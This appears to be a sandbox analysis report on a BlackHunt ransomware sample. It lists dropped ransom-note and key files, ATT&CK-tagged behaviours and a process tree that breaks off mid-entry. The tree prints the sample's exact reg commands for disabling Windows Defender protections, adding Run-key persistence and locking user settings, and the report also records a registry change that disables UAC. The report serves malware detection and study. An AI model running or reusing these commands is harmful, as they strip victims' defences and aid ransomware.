File created	C:\Program Files\Java\jre7\lib\zi\America\#BlackHunt_Private.key	b329d12f84e7d6a7117a1cd6984acc8cc8f728c5e3787466aa8dbd984453e98c.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\visualvm\update_tracking\com-sun-tools-visualvm-application.xml	b329d12f84e7d6a7117a1cd6984acc8cc8f728c5e3787466aa8dbd984453e98c.exe
File opened for modification	C:\Program Files\DVD Maker\Shared\DvdStyles\FlipPage\NavigationRight_SelectionSubpicture.png	b329d12f84e7d6a7117a1cd6984acc8cc8f728c5e3787466aa8dbd984453e98c.exe
File opened for modification	C:\Program Files\DVD Maker\Shared\DvdStyles\Performance\performance.png	b329d12f84e7d6a7117a1cd6984acc8cc8f728c5e3787466aa8dbd984453e98c.exe
File opened for modification	C:\Program Files\VideoLAN\VLC\locale\ky\LC_MESSAGES\vlc.mo	b329d12f84e7d6a7117a1cd6984acc8cc8f728c5e3787466aa8dbd984453e98c.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\config\Modules\org-netbeans-modules-editor-mimelookup.xml	b329d12f84e7d6a7117a1cd6984acc8cc8f728c5e3787466aa8dbd984453e98c.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\modules\locale\org-netbeans-modules-autoupdate-cli_zh_CN.jar	b329d12f84e7d6a7117a1cd6984acc8cc8f728c5e3787466aa8dbd984453e98c.exe
File opened for modification	C:\Program Files\Java\jre7\lib\zi\America\Argentina\Catamarca	b329d12f84e7d6a7117a1cd6984acc8cc8f728c5e3787466aa8dbd984453e98c.exe
File opened for modification	C:\Program Files\Java\jre7\lib\zi\America\Sitka	b329d12f84e7d6a7117a1cd6984acc8cc8f728c5e3787466aa8dbd984453e98c.exe
File created	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\org.eclipse.help_2.0.102.v20141007-2301\META-INF\#BlackHunt_Private.key	b329d12f84e7d6a7117a1cd6984acc8cc8f728c5e3787466aa8dbd984453e98c.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.ui.themes_1.0.1.v20140819-1717\images\macGrey.png	b329d12f84e7d6a7117a1cd6984acc8cc8f728c5e3787466aa8dbd984453e98c.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\profiler\modules\locale\org-netbeans-lib-profiler-ui_zh_CN.jar	b329d12f84e7d6a7117a1cd6984acc8cc8f728c5e3787466aa8dbd984453e98c.exe
File opened for modification	C:\Program Files\Java\jre7\lib\zi\Atlantic\Cape_Verde	b329d12f84e7d6a7117a1cd6984acc8cc8f728c5e3787466aa8dbd984453e98c.exe
File created	C:\Program Files\VideoLAN\VLC\locale\ta\#BlackHunt_ReadMe.hta	b329d12f84e7d6a7117a1cd6984acc8cc8f728c5e3787466aa8dbd984453e98c.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\com.jrockit.mc.rjmx_5.5.0.165303\schema\triggerActionExceptionHandlers.exsd	b329d12f84e7d6a7117a1cd6984acc8cc8f728c5e3787466aa8dbd984453e98c.exe
File created	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\modules\ext\#BlackHunt_ReadMe.txt	b329d12f84e7d6a7117a1cd6984acc8cc8f728c5e3787466aa8dbd984453e98c.exe
File created	C:\Program Files\VideoLAN\VLC\lua\meta\reader\#BlackHunt_ReadMe.hta	b329d12f84e7d6a7117a1cd6984acc8cc8f728c5e3787466aa8dbd984453e98c.exe
File opened for modification	C:\Program Files (x86)\Adobe\Reader 9.0\Reader\AGMGPUOptIn.ini	b329d12f84e7d6a7117a1cd6984acc8cc8f728c5e3787466aa8dbd984453e98c.exe
File created	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\#BlackHunt_ReadMe.hta	b329d12f84e7d6a7117a1cd6984acc8cc8f728c5e3787466aa8dbd984453e98c.exe
File opened for modification	C:\Program Files\VideoLAN\VLC\locale\ta\LC_MESSAGES\vlc.mo	b329d12f84e7d6a7117a1cd6984acc8cc8f728c5e3787466aa8dbd984453e98c.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\org.eclipse.help_2.0.102.v20141007-2301\feature.properties	b329d12f84e7d6a7117a1cd6984acc8cc8f728c5e3787466aa8dbd984453e98c.exe
File created	C:\Program Files\Java\jre7\lib\management\#BlackHunt_ReadMe.txt	b329d12f84e7d6a7117a1cd6984acc8cc8f728c5e3787466aa8dbd984453e98c.exe
File opened for modification	C:\Program Files\Java\jre7\lib\zi\America\Chicago	b329d12f84e7d6a7117a1cd6984acc8cc8f728c5e3787466aa8dbd984453e98c.exe
File created	C:\Program Files\VideoLAN\VLC\locale\ca\LC_MESSAGES\#BlackHunt_ReadMe.hta	b329d12f84e7d6a7117a1cd6984acc8cc8f728c5e3787466aa8dbd984453e98c.exe
File opened for modification	C:\Program Files\Java\jre7\lib\zi\Atlantic\Faroe	b329d12f84e7d6a7117a1cd6984acc8cc8f728c5e3787466aa8dbd984453e98c.exe
File opened for modification	C:\Program Files\VideoLAN\VLC\locale\pt_BR\LC_MESSAGES\vlc.mo	b329d12f84e7d6a7117a1cd6984acc8cc8f728c5e3787466aa8dbd984453e98c.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Antarctica\Vostok	b329d12f84e7d6a7117a1cd6984acc8cc8f728c5e3787466aa8dbd984453e98c.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Europe\Zaporozhye	b329d12f84e7d6a7117a1cd6984acc8cc8f728c5e3787466aa8dbd984453e98c.exe
File created	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\lib\#BlackHunt_Private.key	b329d12f84e7d6a7117a1cd6984acc8cc8f728c5e3787466aa8dbd984453e98c.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\modules\org-netbeans-modules-core-kit.jar	b329d12f84e7d6a7117a1cd6984acc8cc8f728c5e3787466aa8dbd984453e98c.exe
File opened for modification	C:\Program Files\Java\jre7\lib\zi\America\Ojinaga	b329d12f84e7d6a7117a1cd6984acc8cc8f728c5e3787466aa8dbd984453e98c.exe
File created	C:\Program Files\Java\jdk1.7.0_80\jre\lib\amd64\#BlackHunt_Private.key	b329d12f84e7d6a7117a1cd6984acc8cc8f728c5e3787466aa8dbd984453e98c.exe
File opened for modification	C:\Program Files\DVD Maker\Shared\DvdStyles\Memories\16_9-frame-image-mask.png	b329d12f84e7d6a7117a1cd6984acc8cc8f728c5e3787466aa8dbd984453e98c.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\com.jrockit.mc.rjmx.ui.ja_5.5.0.165303.jar	b329d12f84e7d6a7117a1cd6984acc8cc8f728c5e3787466aa8dbd984453e98c.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.ui.themes_1.0.1.v20140819-1717\images\winXPHandle.png	b329d12f84e7d6a7117a1cd6984acc8cc8f728c5e3787466aa8dbd984453e98c.exe
File opened for modification	C:\Program Files\Java\jre7\lib\zi\SystemV\HST10	b329d12f84e7d6a7117a1cd6984acc8cc8f728c5e3787466aa8dbd984453e98c.exe
File opened for modification	C:\Program Files\VideoLAN\VLC\plugins\plugins.dat	b329d12f84e7d6a7117a1cd6984acc8cc8f728c5e3787466aa8dbd984453e98c.exe
File created	C:\Program Files\DVD Maker\Shared\DvdStyles\Vignette\#BlackHunt_ReadMe.hta	b329d12f84e7d6a7117a1cd6984acc8cc8f728c5e3787466aa8dbd984453e98c.exe
File created	C:\Program Files\Java\jdk1.7.0_80\jre\lib\images\cursors\#BlackHunt_Private.key	b329d12f84e7d6a7117a1cd6984acc8cc8f728c5e3787466aa8dbd984453e98c.exe
File created	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Pacific\#BlackHunt_ReadMe.hta	b329d12f84e7d6a7117a1cd6984acc8cc8f728c5e3787466aa8dbd984453e98c.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.ui.themes_1.0.1.v20140819-1717\images\gtkHandle.png	b329d12f84e7d6a7117a1cd6984acc8cc8f728c5e3787466aa8dbd984453e98c.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Etc\GMT-7	b329d12f84e7d6a7117a1cd6984acc8cc8f728c5e3787466aa8dbd984453e98c.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Creates scheduled task(s) 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task/Job

T1053

pid	Process
1472	schtasks.exe

Interacts with shadow copies 2 TTPs 6 IoCs

Shadow copies are often targeted by ransomware to inhibit system recovery.

ransomware

File Deletion

T1070.004

Inhibit System Recovery

T1490

pid	Process
2620	vssadmin.exe
756	vssadmin.exe
352	vssadmin.exe
2652	vssadmin.exe
1740	vssadmin.exe
4916	vssadmin.exe

Kills process with taskkill 1 IoCs

evasion

pid	Process
5024	taskkill.exe

Modifies registry class 8 IoCs

description	ioc	Process
Key created	\REGISTRY\MACHINE\Software\Classes\Hunt2\DefaultIcon	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Hunt2\DefaultIcon\ = "C:\\ProgramData\\#BlackHunt_Icon.ico"	reg.exe
Key created	\REGISTRY\MACHINE\Software\Classes\.Hunt2	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.Hunt2\	reg.exe
Key created	\REGISTRY\MACHINE\Software\Classes\.Hunt2\DefaultIcon	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.Hunt2\DefaultIcon\ = "C:\\ProgramData\\#BlackHunt_Icon.ico"	reg.exe
Key created	\REGISTRY\MACHINE\Software\Classes\Hunt2	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Hunt2\	reg.exe

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
2232	PING.EXE

Suspicious behavior: CmdExeWriteProcessMemorySpam 1 IoCs

pid	Process
4076	mshta.exe

Suspicious use of AdjustPrivilegeToken 24 IoCs

description	pid	Process
Token: SeDebugPrivilege	1652	b329d12f84e7d6a7117a1cd6984acc8cc8f728c5e3787466aa8dbd984453e98c.exe
Token: SeRestorePrivilege	1652	b329d12f84e7d6a7117a1cd6984acc8cc8f728c5e3787466aa8dbd984453e98c.exe
Token: SeBackupPrivilege	1652	b329d12f84e7d6a7117a1cd6984acc8cc8f728c5e3787466aa8dbd984453e98c.exe
Token: SeTakeOwnershipPrivilege	1652	b329d12f84e7d6a7117a1cd6984acc8cc8f728c5e3787466aa8dbd984453e98c.exe
Token: SeAuditPrivilege	1652	b329d12f84e7d6a7117a1cd6984acc8cc8f728c5e3787466aa8dbd984453e98c.exe
Token: SeSecurityPrivilege	1652	b329d12f84e7d6a7117a1cd6984acc8cc8f728c5e3787466aa8dbd984453e98c.exe
Token: SeIncBasePriorityPrivilege	1652	b329d12f84e7d6a7117a1cd6984acc8cc8f728c5e3787466aa8dbd984453e98c.exe
Token: SeBackupPrivilege	1428	vssvc.exe
Token: SeRestorePrivilege	1428	vssvc.exe
Token: SeAuditPrivilege	1428	vssvc.exe
Token: SeBackupPrivilege	2708	wbengine.exe
Token: SeRestorePrivilege	2708	wbengine.exe
Token: SeSecurityPrivilege	2708	wbengine.exe
Token: SeSecurityPrivilege	4732	wevtutil.exe
Token: SeSecurityPrivilege	4620	wevtutil.exe
Token: SeBackupPrivilege	4732	wevtutil.exe
Token: SeSecurityPrivilege	4744	wevtutil.exe
Token: SeBackupPrivilege	4620	wevtutil.exe
Token: SeSecurityPrivilege	4724	wevtutil.exe
Token: SeBackupPrivilege	4744	wevtutil.exe
Token: SeBackupPrivilege	4724	wevtutil.exe
Token: SeSecurityPrivilege	4548	wevtutil.exe
Token: SeBackupPrivilege	4548	wevtutil.exe
Token: SeDebugPrivilege	5024	taskkill.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 1652 wrote to memory of 2924	1652	b329d12f84e7d6a7117a1cd6984acc8cc8f728c5e3787466aa8dbd984453e98c.exe	29
PID 1652 wrote to memory of 2924	1652	b329d12f84e7d6a7117a1cd6984acc8cc8f728c5e3787466aa8dbd984453e98c.exe	29
PID 1652 wrote to memory of 2924	1652	b329d12f84e7d6a7117a1cd6984acc8cc8f728c5e3787466aa8dbd984453e98c.exe	29
PID 1652 wrote to memory of 2924	1652	b329d12f84e7d6a7117a1cd6984acc8cc8f728c5e3787466aa8dbd984453e98c.exe	29
PID 1652 wrote to memory of 2928	1652	b329d12f84e7d6a7117a1cd6984acc8cc8f728c5e3787466aa8dbd984453e98c.exe	31
PID 1652 wrote to memory of 2928	1652	b329d12f84e7d6a7117a1cd6984acc8cc8f728c5e3787466aa8dbd984453e98c.exe	31
PID 1652 wrote to memory of 2928	1652	b329d12f84e7d6a7117a1cd6984acc8cc8f728c5e3787466aa8dbd984453e98c.exe	31
PID 1652 wrote to memory of 2928	1652	b329d12f84e7d6a7117a1cd6984acc8cc8f728c5e3787466aa8dbd984453e98c.exe	31
PID 2924 wrote to memory of 2444	2924	cmd.exe	33
PID 2924 wrote to memory of 2444	2924	cmd.exe	33
PID 2924 wrote to memory of 2444	2924	cmd.exe	33
PID 1652 wrote to memory of 2484	1652	b329d12f84e7d6a7117a1cd6984acc8cc8f728c5e3787466aa8dbd984453e98c.exe	34
PID 1652 wrote to memory of 2484	1652	b329d12f84e7d6a7117a1cd6984acc8cc8f728c5e3787466aa8dbd984453e98c.exe	34
PID 1652 wrote to memory of 2484	1652	b329d12f84e7d6a7117a1cd6984acc8cc8f728c5e3787466aa8dbd984453e98c.exe	34
PID 1652 wrote to memory of 2484	1652	b329d12f84e7d6a7117a1cd6984acc8cc8f728c5e3787466aa8dbd984453e98c.exe	34
PID 1652 wrote to memory of 2700	1652	b329d12f84e7d6a7117a1cd6984acc8cc8f728c5e3787466aa8dbd984453e98c.exe	36
PID 1652 wrote to memory of 2700	1652	b329d12f84e7d6a7117a1cd6984acc8cc8f728c5e3787466aa8dbd984453e98c.exe	36
PID 1652 wrote to memory of 2700	1652	b329d12f84e7d6a7117a1cd6984acc8cc8f728c5e3787466aa8dbd984453e98c.exe	36
PID 1652 wrote to memory of 2700	1652	b329d12f84e7d6a7117a1cd6984acc8cc8f728c5e3787466aa8dbd984453e98c.exe	36
PID 2928 wrote to memory of 2784	2928	cmd.exe	37
PID 2928 wrote to memory of 2784	2928	cmd.exe	37
PID 2928 wrote to memory of 2784	2928	cmd.exe	37
PID 1652 wrote to memory of 2872	1652	b329d12f84e7d6a7117a1cd6984acc8cc8f728c5e3787466aa8dbd984453e98c.exe	39
PID 1652 wrote to memory of 2872	1652	b329d12f84e7d6a7117a1cd6984acc8cc8f728c5e3787466aa8dbd984453e98c.exe	39
PID 1652 wrote to memory of 2872	1652	b329d12f84e7d6a7117a1cd6984acc8cc8f728c5e3787466aa8dbd984453e98c.exe	39
PID 1652 wrote to memory of 2872	1652	b329d12f84e7d6a7117a1cd6984acc8cc8f728c5e3787466aa8dbd984453e98c.exe	39
PID 1652 wrote to memory of 2752	1652	b329d12f84e7d6a7117a1cd6984acc8cc8f728c5e3787466aa8dbd984453e98c.exe	41
PID 1652 wrote to memory of 2752	1652	b329d12f84e7d6a7117a1cd6984acc8cc8f728c5e3787466aa8dbd984453e98c.exe	41
PID 1652 wrote to memory of 2752	1652	b329d12f84e7d6a7117a1cd6984acc8cc8f728c5e3787466aa8dbd984453e98c.exe	41
PID 1652 wrote to memory of 2752	1652	b329d12f84e7d6a7117a1cd6984acc8cc8f728c5e3787466aa8dbd984453e98c.exe	41
PID 1652 wrote to memory of 2720	1652	b329d12f84e7d6a7117a1cd6984acc8cc8f728c5e3787466aa8dbd984453e98c.exe	42
PID 1652 wrote to memory of 2720	1652	b329d12f84e7d6a7117a1cd6984acc8cc8f728c5e3787466aa8dbd984453e98c.exe	42
PID 1652 wrote to memory of 2720	1652	b329d12f84e7d6a7117a1cd6984acc8cc8f728c5e3787466aa8dbd984453e98c.exe	42
PID 1652 wrote to memory of 2720	1652	b329d12f84e7d6a7117a1cd6984acc8cc8f728c5e3787466aa8dbd984453e98c.exe	42
PID 2484 wrote to memory of 2728	2484	cmd.exe	43
PID 2484 wrote to memory of 2728	2484	cmd.exe	43
PID 2484 wrote to memory of 2728	2484	cmd.exe	43
PID 2700 wrote to memory of 2896	2700	cmd.exe	45
PID 2700 wrote to memory of 2896	2700	cmd.exe	45
PID 2700 wrote to memory of 2896	2700	cmd.exe	45
PID 1652 wrote to memory of 2756	1652	b329d12f84e7d6a7117a1cd6984acc8cc8f728c5e3787466aa8dbd984453e98c.exe	47
PID 1652 wrote to memory of 2756	1652	b329d12f84e7d6a7117a1cd6984acc8cc8f728c5e3787466aa8dbd984453e98c.exe	47
PID 1652 wrote to memory of 2756	1652	b329d12f84e7d6a7117a1cd6984acc8cc8f728c5e3787466aa8dbd984453e98c.exe	47
PID 1652 wrote to memory of 2756	1652	b329d12f84e7d6a7117a1cd6984acc8cc8f728c5e3787466aa8dbd984453e98c.exe	47
PID 1652 wrote to memory of 2632	1652	b329d12f84e7d6a7117a1cd6984acc8cc8f728c5e3787466aa8dbd984453e98c.exe	141
PID 1652 wrote to memory of 2632	1652	b329d12f84e7d6a7117a1cd6984acc8cc8f728c5e3787466aa8dbd984453e98c.exe	141
PID 1652 wrote to memory of 2632	1652	b329d12f84e7d6a7117a1cd6984acc8cc8f728c5e3787466aa8dbd984453e98c.exe	141
PID 1652 wrote to memory of 2632	1652	b329d12f84e7d6a7117a1cd6984acc8cc8f728c5e3787466aa8dbd984453e98c.exe	141
PID 1652 wrote to memory of 3012	1652	b329d12f84e7d6a7117a1cd6984acc8cc8f728c5e3787466aa8dbd984453e98c.exe	53
PID 1652 wrote to memory of 3012	1652	b329d12f84e7d6a7117a1cd6984acc8cc8f728c5e3787466aa8dbd984453e98c.exe	53
PID 1652 wrote to memory of 3012	1652	b329d12f84e7d6a7117a1cd6984acc8cc8f728c5e3787466aa8dbd984453e98c.exe	53
PID 1652 wrote to memory of 3012	1652	b329d12f84e7d6a7117a1cd6984acc8cc8f728c5e3787466aa8dbd984453e98c.exe	53
PID 1652 wrote to memory of 2356	1652	b329d12f84e7d6a7117a1cd6984acc8cc8f728c5e3787466aa8dbd984453e98c.exe	51
PID 1652 wrote to memory of 2356	1652	b329d12f84e7d6a7117a1cd6984acc8cc8f728c5e3787466aa8dbd984453e98c.exe	51
PID 1652 wrote to memory of 2356	1652	b329d12f84e7d6a7117a1cd6984acc8cc8f728c5e3787466aa8dbd984453e98c.exe	51
PID 1652 wrote to memory of 2356	1652	b329d12f84e7d6a7117a1cd6984acc8cc8f728c5e3787466aa8dbd984453e98c.exe	51
PID 2872 wrote to memory of 2912	2872	cmd.exe	54
PID 2872 wrote to memory of 2912	2872	cmd.exe	54
PID 2872 wrote to memory of 2912	2872	cmd.exe	54
PID 2720 wrote to memory of 2028	2720	cmd.exe	55
PID 2720 wrote to memory of 2028	2720	cmd.exe	55
PID 2720 wrote to memory of 2028	2720	cmd.exe	55
PID 1652 wrote to memory of 2892	1652	b329d12f84e7d6a7117a1cd6984acc8cc8f728c5e3787466aa8dbd984453e98c.exe	56
PID 1652 wrote to memory of 2892	1652	b329d12f84e7d6a7117a1cd6984acc8cc8f728c5e3787466aa8dbd984453e98c.exe	56

System policy modification 1 TTPs 3 IoCs

evasion

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System	b329d12f84e7d6a7117a1cd6984acc8cc8f728c5e3787466aa8dbd984453e98c.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	b329d12f84e7d6a7117a1cd6984acc8cc8f728c5e3787466aa8dbd984453e98c.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLinkedConnections = "1"	b329d12f84e7d6a7117a1cd6984acc8cc8f728c5e3787466aa8dbd984453e98c.exe

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012
Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Users\Admin\AppData\Local\Temp\b329d12f84e7d6a7117a1cd6984acc8cc8f728c5e3787466aa8dbd984453e98c.exe
"C:\Users\Admin\AppData\Local\Temp\b329d12f84e7d6a7117a1cd6984acc8cc8f728c5e3787466aa8dbd984453e98c.exe"
1⤵
- UAC bypass
- Checks whether UAC is enabled
- Enumerates connected drives
- Sets desktop wallpaper using registry
- Drops file in Program Files directory
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
- System policy modification
PID:1652
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2924
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2" /f
    3⤵
    - Modifies registry class
    PID:2444
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2928
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
    3⤵
    - Modifies registry class
    PID:2784
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2484
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2" /f
    3⤵
    - Modifies registry class
    PID:2728
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2700
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
    3⤵
    - Modifies registry class
    PID:2896
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v "{2C5F9FCC-F266-43F6-BFD7-838DAE269E11}" /t REG_SZ /d "C:\ProgramData\#BlackHunt_ReadMe.hta" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2872
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v "{2C5F9FCC-F266-43F6-BFD7-838DAE269E11}" /t REG_SZ /d "C:\ProgramData\#BlackHunt_ReadMe.hta" /f
    3⤵
    - Adds Run key to start application
    PID:2912
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d 1 /f
  2⤵
  PID:2752
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d 1 /f
    3⤵
    PID:2764
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2720
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /f
    3⤵
    - Modifies Windows Defender Real-time Protection settings
    PID:2028
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Spynet" /v "SubmitSamplesConsent" /t REG_DWORD /d 2 /f
  2⤵
  PID:2756
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Spynet" /v "SubmitSamplesConsent" /t REG_DWORD /d 2 /f
    3⤵
    PID:2860
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats" /v "Threats_ThreatSeverityDefaultAction" /t REG_DWORD /d 1 /f
  2⤵
  PID:2632
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats" /v "Threats_ThreatSeverityDefaultAction" /t REG_DWORD /d 1 /f
    3⤵
    PID:2016
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Medium" /t REG_DWORD /d 6 /f
  2⤵
  PID:2356
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Medium" /t REG_DWORD /d 6 /f
    3⤵
    PID:1496
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Low" /t REG_DWORD /d 6 /f
  2⤵
  PID:3012
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Low" /t REG_DWORD /d 6 /f
    3⤵
    PID:1248
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "High" /t REG_DWORD /d 6 /f
  2⤵
  PID:2892
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "High" /t REG_DWORD /d 6 /f
    3⤵
    PID:2780
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Severe" /t REG_DWORD /d 6 /f
  2⤵
  PID:2600
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Severe" /t REG_DWORD /d 6 /f
    3⤵
    PID:1676
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\UX Configuration" /v "Notification_Suppress" /t REG_DWORD /d 1 /f
  2⤵
  PID:1924
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\UX Configuration" /v "Notification_Suppress" /t REG_DWORD /d 1 /f
    3⤵
    PID:552
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoClose" /t REG_DWORD /d 1 /f
  2⤵
  PID:2648
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoClose" /t REG_DWORD /d 1 /f
    3⤵
    PID:2264
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "StartMenuLogOff" /t REG_DWORD /d 1 /f
  2⤵
  PID:2160
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "StartMenuLogOff" /t REG_DWORD /d 1 /f
    3⤵
    PID:332
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableChangePassword" /t REG_DWORD /d 1 /f
  2⤵
  PID:1440
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableChangePassword" /t REG_DWORD /d 1 /f
    3⤵
    PID:352
- C:\Windows\System32\cmd.exe
